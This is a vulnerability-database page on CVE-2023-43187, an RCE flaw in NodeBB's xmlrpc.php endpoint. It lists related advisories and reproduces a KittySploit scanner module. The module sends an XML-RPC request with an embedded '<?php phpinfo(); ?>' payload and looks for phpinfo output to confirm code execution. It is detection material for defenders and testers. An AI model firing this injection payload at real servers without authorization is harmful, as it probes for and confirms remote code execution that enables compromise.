NodeBB XML-RPC Request xmlrpc.php - XML Injection Detection
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2023-43187 | 27 Sep 202315:19 | – | attackerkb | |
| CVE-2023-43187 | 13 Mar 202400:26 | – | circl | |
| NodeBB Security Vulnerabilities | 27 Sep 202300:00 | – | cnnvd | |
| CVE-2023-43187 | 26 Sep 202300:00 | – | cve | |
| CVE-2023-43187 | 26 Sep 202300:00 | – | cvelist | |
| NodeBB XML-RPC Request xmlrpc.php - XML Injection | 15 Oct 202602:05 | – | nuclei | |
| CVE-2023-43187 | 27 Sep 202315:19 | – | nvd | |
| NodeBB < 1.18.6 RCE Vulnerability | 31 Jan 202500:00 | – | openvas | |
| Remote code execution | 27 Sep 202315:19 | – | prion | |
| PT-2023-28726 · Nodebb · Nodebb | 26 Sep 202300:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A remote code execution (RCE) vulnerability in the xmlrpc."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'NodeBB XML-RPC Request xmlrpc.php - XML Injection Detection',
'description': 'A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'nodebb', 'rce', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/jagat-singh-chaudhary/CVE/blob/main/CVE-2023-43187',
'https://nvd.nist.gov/vuln/detail/CVE-2023-43187',
],
'cve': 'CVE-2023-43187',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = (r.text or "").lower()
body_any = ('nodebb',)
if not (any(m in body for m in body_any)):
return False
path = '/xmlrpc.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'text/xml'}, data='<?xml version="1.0"?>\n<methodCall>\n <methodName>system.listMethods</methodName>\n <params>\n <param>\n <value><?php phpinfo(); ?></value>\n </param>\n </params>\n</methodCall>\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('<title>phpinfo()</title>', 'PHP Version',)
if any(m in body for m in body_any):
self.set_info(severity='critical', reason='NodeBB XML-RPC Request xmlrpc.php - XML Injection detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
9.4Critical risk
Vulners AI Score9.4
CVSS 3.19.8
EPSS0.47391
SSVC